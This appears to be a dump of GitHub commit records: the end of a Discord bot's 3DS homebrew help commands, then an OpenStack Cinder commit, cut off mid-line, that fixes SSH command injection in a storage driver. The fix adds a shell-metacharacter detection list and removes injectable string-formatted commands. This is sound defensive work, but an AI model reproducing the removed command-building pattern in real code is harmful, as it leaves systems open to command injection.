@commands.command(aliases=[\"stock115\",\"stock\"])\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def stock114(self):\n \"\"\"Advisory for consoles on stock 11.4+ firmware\"\"\"\n embed = discord.Embed(title=\"Running stock (unmodified) 11.4+ firmware?\", color=discord.Color.dark_orange())\n embed.description = \"You have 3 possible options for installing CFW:\\n- [NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n- [DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which requires a hacked 3DS\\n- [Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def hbl(self):\n \"\"\"Get homebrew launcher working on 11.4+ firmware\"\"\"\n await self.simple_embed(\"If you are looking for homebrew on your stock 11.4+ 3DS, you will need an entrypoint (like ninjhax, freakyhax, etc) for launching homebrew launcher\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def readguide(self):\n \"\"\"Read the guide please\"\"\"\n await self.simple_embed(\"Asking something that is on the guide will make everyone lose time, so please read and re-read the guide steps 2 or 3 times before coming here.\", title=\"Please read the guide\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def bigsd(self):\n \"\"\"SD bigger than 32GB\"\"\"\n await self.simple_embed(\"If you want to change your SD card to one bigger than 32GB then you'll have to format it to FAT32.\\nYou can do this with the tool of your preference.\\nFormatter examples:\\n- [guiformat - Windows](http://www.ridgecrop.demon.co.uk/index.htm?guiformat.htm)\\n- [gparted - Linux](http://gparted.org/download.php)\", title=\"Big SD cards\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def sderrors(self):\n \"\"\"Sd Error Guide\"\"\"\n await self.simple_embed(\"Guide For Checking SD Card For Errors\\n- [H2testw Guide - Windows](https://3ds.guide/h2testw-(windows\\))\\n- [F3 Guide - Linux](https://3ds.guide/f3-(linux\\))\\n- [F3X Guide - Mac](https://3ds.guide/f3x-(mac\\))\", title=\"SD Card Errors\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def notbricked(self):\n \"\"\"Missing boot.firm\"\"\"\n await self.simple_embed(\"If your power LED turns on and off after you installed b9s, you are not bricked and are just missing a file called boot.firm in the root of your SD card.\\nTo fix this you should:\\n1.Check you inserted the SD card in your console\\n2.Place/replace the file, downloading it from https://github.com/AuroraWright/Luma3DS/releases\\nChecking your SD for errors or corruption:\\n\\tWindows: https://3ds.guide/h2testw-(windows)#\\n\\tLinux: https://3ds.guide/f3-(linux)#\\n\\tMac: https://3ds.guide/f3x-(mac)#\", title=\"No. You are not bricked\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def emureco(self):\n \"\"\"Recommendation about EmuNAND\"\"\"\n await self.simple_embed(\"If you want to set up an EmuNAND the first thing to know is that you probably don't need it; if you don't know what an EmuNAND is, you don't need one.\", title=\"EmuNAND Recommendation\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def failedupdate(self):\n \"\"\"Notice about failed update on Wii U\"\"\"\n await self.simple_embed(\"A failed update in Download Management does not mean there is an update and the system is trying to download it. This means your blocking method (DNS etc.) is working and the system can't check for an update.\", color=discord.Color(0x009AC7))\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def netinfo(self):\n \"\"\"Network Maintenance Information / Operational Status\"\"\"\n await self.bot.say(\"https://www.nintendo.co.jp/netinfo/en_US/index.html\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def ctrmount(self):\n \"\"\"Failed to mount CTRNAND error\"\"\"\n await self.simple_embed(\"While following the guide, after installing boot9strap, if you get an error that says \\\"Failed to mount CTRNAND\\\", just continue on with the guide.\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def emptysd(self):\n \"\"\"What to do if you delete all your SD card contents\"\"\"\n await self.simple_embed(\"If you have lost the contents of your SD card with CFW, you will need in SD root:\\n-Homebrew launcher executable [here](https://smealum.github.io/ninjhax2/boot.3dsx)\\n-`boot.firm` from [luma3ds latest release 7z](https://github.com/AuroraWright/Luma3DS/releases/latest)\\nThen repeat the [finalizing setup](https://3ds.guide/finalizing-setup) page.\", color=discord.Color.red())\n\n # Embed to broken TWL Troubleshooting\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def twl(self):\n \"\"\"Information on how to fix a broken TWL Partition\"\"\"\n embed = discord.Embed(title=\"Fix broken TWL\", color=discord.Color(0xA2BAE0))\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting#twl_broken\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/troubleshooting#twl_broken\"\n embed.description = \"Instructions on how to fix a broken TWL after doing the guide\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def redscr(self):\n \"\"\"Help with homebrew red screen\"\"\"\n await self.simple_embed(\"A red screen indicates that there is no boot.3dsx on root.\\nIf you have a starter folder on root, place the contents of the starter folder on root.\\nIf not, redownload the [Homebrew Starter Kit](https://smealum.github.io/ninjhax2/starter.zip) and place the contents of the starter folder inside the .zip on root.\", title=\"If you get a red screen trying to open the Homebrew Launcher\")\n\n # Intructions for deleting home menu Extdata\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def homext(self):\n \"\"\"Deleting home menu extdata\"\"\"\n await self.simple_embed(\"1. Navigate to the following folder on your SD card: `/Nintendo 3DS/(32 Character ID)/(32 Character ID)/extdata/00000000/`\\n2. Delete the corresponding folder for your region:\\n USA: `0000008f`\\n EUR: `00000098`\\n JPN: `00000082`\\n KOR: `000000A9`\", title=\"How to clear Home Menu extdata\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def deltheme(self):\n \"\"\"Deleting home menu theme data\"\"\"\n await self.simple_embed(\"1. Navigate to the following folder on your SD card: `/Nintendo 3DS/(32 Character ID)/(32 Character ID)/extdata/00000000/`\\n2. Delete the corresponding folder for your region:\\n USA: `000002cd`\\n EUR: `000002ce`\\n JPN: `000002cc`\", title=\"How to delete Home Menu Theme Data\")\n\n @commands.command(aliases=['godmode9'])\n async def gm9(self):\n \"\"\"Links to the guide on GodMode9\"\"\"\n embed = discord.Embed(title=\"GodMode9 Usage\", color=discord.Color(0x66FFFF))\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/godmode9-usage\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/godmode9-usage\"\n embed.description = \"GodMode9 usage guide\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def pminit(self):\n \"\"\"Fix for the PM init failed error\"\"\"\n await self.simple_embed(\"If you are receiving a \\\"PM init failed\\\" error when attempting to launch safehax and are not on 11.3, use [this version of safehax.](https://github.com/TiniVi/safehax/releases/tag/r19)\")\n\n # Embed to Apache Thunder's Flashcart Launcher\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def flashcart(self):\n \"\"\"Launcher for old flashcarts\"\"\"\n embed = discord.Embed(title=\"Launcher for old flashcards (r4,m3,dstt,dsx,etc)\", color=discord.Color(0x42f462))\n embed.set_author(name=\"Apache Thunder\", url=\"https://gbatemp.net/threads/r4-stage2-twl-flashcart-launcher-and-perhaps-other-cards-soon%E2%84%A2.416434/\")\n embed.set_thumbnail(url=\"https://gbatemp.net/data/avatars/m/105/105648.jpg\")\n embed.url = \"https://gbatemp.net/threads/r4-stage2-twl-flashcart-launcher-and-perhaps-other-cards-soon%E2%84%A2.416434/\"\n embed.description = \"Launcher for old flashcards\"\n await self.bot.say(\"\", embed=embed)\n\n # Embed to 3DS VC Injects Website\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def vc(self):\n \"\"\"Link to Virtual Console Injects for 3DS\"\"\"\n embed = discord.Embed(title=\"Virtual Console Injects for 3DS\", color=discord.Color.blue())\n embed.set_author(name=\"Asdolo\", url=\"https://gbatemp.net/members/asdolo.389539/\")\n embed.set_thumbnail(url=\"https://i.imgur.com/rHa76XM.png\")\n embed.url = \"https://gbatemp.net/search/40920047/?q=injector&t=post&o=date&g=1&c[title_only]=1&c[user][0]=389539\"\n embed.description = \"The recommended way to play old classics on your 3DS\"\n await self.bot.say(\"\", embed=embed)\n\n # Embed to ih8ih8sn0w's godmode9 guide\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def dump(self):\n \"\"\"How to dump/build CIAs using GodMode9\"\"\"\n embed = discord.Embed(title=\"GodMode9 dump/build Guide\", color=discord.Color(0x66FFFF))\n embed.set_author(name=\"ih8ih8sn0w\", url=\"https://pastebin.com/sx8HYULr\")\n embed.set_thumbnail(url=\"http://i.imgur.com/QEUfyrp.png\")\n embed.url = \"https://pastebin.com/sx8HYULr\"\n embed.description = \"How to dump/build CIAs using GodMode9\"\n await self.bot.say(\"\", embed=embed)\n \n # Embed to ih8ih8sn0w's layeredfs guide\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def layeredfs(self):\n \"\"\"How to use Luma 8.0+ LayeredFs\"\"\"\n embed = discord.Embed(title=\"LayeredFs Guide\", color=discord.Color(0x66FFFF))\n embed.set_author(name=\"ih8ih8sn0w\", url=\"https://pastebin.com/sx8HYULr\")\n embed.set_thumbnail(url=\"http://i.imgur.com/QEUfyrp.png\")\n embed.url = \"https://pastebin.com/QdzBv4Te\"\n embed.description = \"How to use Luma 8.0+ LayeredFs for ROM Hacking.\"\n await self.bot.say(\"\", embed=embed)\n\n # Information about sighax\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def sighax(self):\n \"\"\"Information about sighax\"\"\"\n embed = discord.Embed(title=\"Sighax Information\", color=discord.Color(0x0000ff))\n embed.set_author(name=\"SciresM\", url=\"https://www.reddit.com/r/3dshacks/comments/67f6as/psa_clearing_up_some_misconceptions_about_sighax/\")\n embed.set_thumbnail(url=\"https://i.imgur.com/11ajkdJ.jpg\")\n embed.url = \"https://www.reddit.com/r/3dshacks/comments/67f6as/psa_clearing_up_some_misconceptions_about_sighax/\"\n embed.description = \"PSA About Sighax\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command(pass_context=True, name=\"7zip\")\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def p7zip(self):\n \"\"\"Download 7zip\"\"\"\n embed = discord.Embed(title=\"Download 7zip\", color=discord.Color(0x0000ff))\n embed.set_thumbnail(url=\"http://i.imgur.com/cX1fuf6.png\")\n embed.url = \"http://www.7-zip.org/download.html\"\n embed.description = \"To be able to extract .7z files you need 7zip installed, get it here.\"\n await self.bot.say(\"\", embed=embed)\n\ndef setup(bot):\n bot.add_cog(Assistance(bot))\n"}}, "msg": "Tweaks to the assistance commands (#241)\n\n* explanation for the dsi game injection exploit\r\n\r\n* Update assistance.py\r\n\r\n* also fix the broken .twl command\r\n\r\n* hbl rewrite"}}, "https://github.com/thatsdone/cinder": {"f752302d181583a95cf44354aea607ce9d9283f4": {"url": "https://api.github.com/repos/thatsdone/cinder/commits/f752302d181583a95cf44354aea607ce9d9283f4", "html_url": "https://github.com/thatsdone/cinder/commit/f752302d181583a95cf44354aea607ce9d9283f4", "message": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3", "sha": "f752302d181583a95cf44354aea607ce9d9283f4", "keyword": "command injection attack", "diff": "diff --git a/cinder/exception.py b/cinder/exception.py\nindex 777ec1283..f23c6fbe6 100644\n--- a/cinder/exception.py\n+++ b/cinder/exception.py\n@@ -606,3 +606,7 @@ class VolumeMigrationFailed(CinderException):\n \n class ProtocolNotSupported(CinderException):\n message = _(\"Connect to volume via protocol %(protocol)s not supported.\")\n+\n+\n+class SSHInjectionThreat(CinderException):\n+ message = _(\"SSH command injection detected\") + \": %(command)s\"\ndiff --git a/cinder/tests/test_storwize_svc.py b/cinder/tests/test_storwize_svc.py\nindex 02b1b59b2..9c2eea8e8 100644\n--- a/cinder/tests/test_storwize_svc.py\n+++ b/cinder/tests/test_storwize_svc.py\n@@ -181,8 +181,7 @@ def _is_invalid_name(self, name):\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n@@ -1156,7 +1155,6 @@ def execute_command(self, cmd, check_exit_code=True):\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs)\ndiff --git a/cinder/utils.py b/cinder/utils.py\nindex c263972d8..d26943837 100644\n--- a/cinder/utils.py\n+++ b/cinder/utils.py\n@@ -129,6 +129,30 @@ def trycmd(*args, **kwargs):\n return (stdout, stderr)\n \n \n+def check_ssh_injection(cmd_list):\n+ ssh_injection_pattern = ['`', '$', '|', '||', ';', '&', '&&', '>', '>>',\n+ '<']\n+\n+ # Check whether injection attacks exist\n+ for arg in cmd_list:\n+ arg = arg.strip()\n+ # First, check no space in the middle of arg\n+ arg_len = len(arg.split())\n+ if arg_len > 1:\n+ raise exception.SSHInjectionThreat(command=str(cmd_list))\n+\n+ # Second, check whether danger character in command. So the shell\n+ # special operator must be a single argument.\n+ for c in ssh_injection_pattern:\n+ if arg == c:\n+ continue\n+\n+ result = arg.find(c)\n+ if not result == -1:\n+ if result == 0 or not arg[result - 1] == '\\\\':\n+ raise exception.SSHInjectionThreat(command=cmd_list)\n+\n+\n def ssh_execute(ssh, cmd, process_input=None,\n addl_env=None, check_exit_code=True):\n LOG.debug(_('Running cmd (SSH): %s'), cmd)\ndiff --git a/cinder/volume/drivers/san/san.py b/cinder/volume/drivers/san/san.py\nindex ad532810e..bdf7767ed 100644\n--- a/cinder/volume/drivers/san/san.py\n+++ b/cinder/volume/drivers/san/san.py\n@@ -100,7 +100,10 @@ def san_execute(self, *cmd, **kwargs):\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\ndiff --git a/cinder/volume/drivers/storwize_svc.py b/cinder/volume/drivers/storwize_svc.py\nindex 85ad8fbec..4e22aa652 100755\n--- a/cinder/volume/drivers/storwize_svc.py\n+++ b/cinder/volume/drivers/storwize_svc.py\n@@ -141,7 +141,7 @@ def __init__(self, *args, **kwargs):\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n@@ -166,7 +166,7 @@ def _get_iscsi_ip_addrs(self):\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n@@ -184,7 +184,7 @@ def do_setup(self, ctxt):\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -197,7 +197,7 @@ def do_setup(self, ctxt):\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n@@ -210,7 +210,7 @@ def do_setup(self, ctxt):\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -346,8 +346,7 @@ def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -360,7 +359,7 @@ def _get_chap_secret_for_host(self, host_name):\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -426,7 +425,7 @@ def _connector_to_hostname_prefix(self, connector):\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -456,7 +455,7 @@ def _find_host_from_wwpn(self, connector):\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n@@ -487,7 +486,7 @@ def _get_host_from_connector(self, connector):\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -541,15 +540,18 @@ def _create_host(self, connector):\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n@@ -560,7 +562,7 @@ def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n@@ -600,11 +602,8 @@ def _map_vol_to_host(self, volume_name, host_name):\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n@@ -614,8 +613,11 @@ def _map_vol_to_host(self, volume_name, host_name):\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n@@ -636,7 +638,7 @@ def _delete_host(self, host_name):\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -646,7 +648,7 @@ def _delete_host(self, host_name):\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n@@ -820,8 +822,8 @@ def terminate_connection(self, volume, connector, **kwargs):\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n@@ -852,13 +854,13 @@ def _get_vdisk_attributes(self, vdisk_name):\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n@@ -921,31 +923,27 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n@@ -964,12 +962,10 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n@@ -1020,7 +1016,7 @@ def _make_fc_map(self, source, target, full_copy):\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n@@ -1077,7 +1073,7 @@ def _prepare_fc_map(self, fc_map_id, source, target):\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n@@ -1148,8 +1144,8 @@ def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n@@ -1204,8 +1200,8 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n@@ -1215,19 +1211,20 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n@@ -1266,9 +1263,9 @@ def _delete_vdisk(self, name, force):\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': 